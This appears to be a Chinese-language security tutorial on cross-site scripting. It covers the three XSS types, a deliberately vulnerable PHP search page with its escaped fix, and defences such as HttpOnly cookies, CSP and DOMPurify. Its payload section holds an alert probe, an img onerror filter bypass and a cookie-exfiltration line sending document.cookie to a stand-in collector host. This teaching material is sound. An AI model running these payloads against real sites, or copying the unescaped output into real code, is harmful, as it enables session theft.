Skip to content

<!-- title: xss -->

XSS 跨站脚本漏洞详解:原理、利用与防御

一、漏洞原理

XSS(Cross-Site Scripting,跨站脚本攻击)是指攻击者将恶意脚本(通常是 JavaScript)注入到网页中,当其他用户浏览该页面时,脚本在受害者的浏览器里被执行,从而窃取用户信息或执行冒充用户的操作。它与 SQL 注入并列为 Web 安全的两大经典漏洞,在 OWASP Top 10 中常驻前排。

其根本原因同样是一条铁律被破坏:用户输入被当成了页面代码来渲染,而不是被当作纯文本数据展示

当 Web 应用把用户提交的内容(评论、昵称、搜索关键词、URL 参数等)未经处理地输出到 HTML 页面中时,攻击者提交的内容里若带有 <script> 等标签,浏览器无法分辨这是"数据"还是"代码",就会照单执行。按注入来源,XSS 通常分为三类:

  • 反射型:恶意脚本藏在 URL 参数中,服务器接收后立即"反射"回页面,需要诱骗用户点击特制链接才触发,是最常见的一类
  • 存储型:恶意脚本被存入数据库(如评论框),之后所有访问该页面的用户都会中招,危害最大
  • DOM 型:漏洞出在前端 JavaScript 自身,页面不经过服务器,前端代码直接把不可信数据写入 DOM 造成执行

XSS 的危害包括窃取登录会话(Cookie)、伪造用户请求(内嵌 CSRF)、键盘记录、挂马跳转等,一旦管理员中招,整个站点可能沦陷。

二、示例代码

以下是一段典型的存在反射型 XSS 的 PHP 代码(虚构的搜索功能):

php
<?php
// 存在 XSS 漏洞的搜索页(example.com)
$keyword = $_GET['q'];  // 用户输入未经处理直接输出

echo "<h3>您搜索的内容是:" . $keyword . "</h3>";
?>

攻击者构造 https://example.com/search.php?q=<script>alert(1)</script>,受害者点击后浏览器执行该脚本。修复后的安全写法是在输出时进行 HTML 实体转义

php
<?php
// 修复版:输出前转义特殊字符
$keyword = htmlspecialchars($_GET['q'] ?? '', ENT_QUOTES, 'UTF-8');

echo "<h3>您搜索的内容是:" . $keyword . "</h3>";
?>

< > " ' & 被转成 HTML 实体后,浏览器只会把它们当作文字显示,永远不会当作标签解析。Java 对应 OWASP Java Encoder 的 Encode.forHtml(),前端 JavaScript 对应 textContent(而不是 innerHTML)。

三、三种典型 Payload(教学演示)

1. 探测回显(漏洞验证第一步)

text
?q=<script>alert(1)</script>

页面弹出数字 1,说明输入点未转义、存在 XSS。安全测试中习惯用 alert(1) 或无害的 console.log 做存在性验证,这也是各大漏洞平台认定 XSS 的标准 PoC。

2. 事件句柄变体(绕过标签过滤)

如果目标过滤了 <script> 关键字,可改用其他标签的事件属性触发:

text
?q=<img src=x onerror=alert(1)>

img 加载失败的 onerror 事件执行脚本。这说明仅靠黑名单过滤关键字是不够的,防御必须走转义/白名单路线。

3. 会话窃取原理演示(存储型危害示意)

存储型 XSS 的经典危害是窃取会话,教材级的示意代码如下:

javascript
// 攻击者注入的脚本(示意):把当前用户的 Cookie 发往攻击者收集接口
new Image().src = "https://collector.example.com/log?c=" + document.cookie;

受害者浏览含此脚本的评论页,其 Cookie 就被发送到外部。正因如此,现代应用要把 Cookie 设为 HttpOnly(禁止 JavaScript 读取),让这类攻击即使成功也偷不走会话。

四、防御建议

  1. 输出转义是根本:所有不可信数据输出到 HTML 前必须按上下文转义——HTML 正文用 htmlspecialchars,属性、JavaScript、URL 上下文各有对应编码函数,不能混用
  2. Cookie 加固:会话 Cookie 设置 HttpOnlySecureSameSite 三件套,从根上废掉"偷 Cookie"这条攻击链
  3. 配置内容安全策略(CSP):通过 Content-Security-Policy 响应头限制脚本只能来自本站,即使注入成功也难以执行外部脚本,是性价比极高的纵深防御
  4. 输入校验辅助:对确定格式的输入做白名单校验(如手机号、金额只允许数字),缩小攻击面,但记住输入校验只能辅助,不能替代输出转义
  5. 前端安全 API 习惯:避免使用 innerHTMLdocument.writeeval,优先 textContent 和框架默认的安全绑定(Vue/React 默认转义插值,不要随意用 v-html/dangerouslySetInnerHTML
  6. 使用成熟过滤库:确需允许部分富文本 HTML 时,用 DOMPurify 等经过审计的白名单净化库,切勿手写正则过滤

五、总结

XSS 的防御核心与 SQL 注入异曲同工:让数据永远是数据。SQL 注入靠"代码与数据分离"(参数化查询),XSS 靠"输出时转义 + 浏览器侧 CSP 纵深防御"。作为开发者,把"任何进入页面的用户输入都当作不可信"刻进肌肉记忆;作为安全学习者,理解三类 XSS 的触发路径,就掌握了这门课的大半精髓。

仅用于学习交流的防守型安全知识库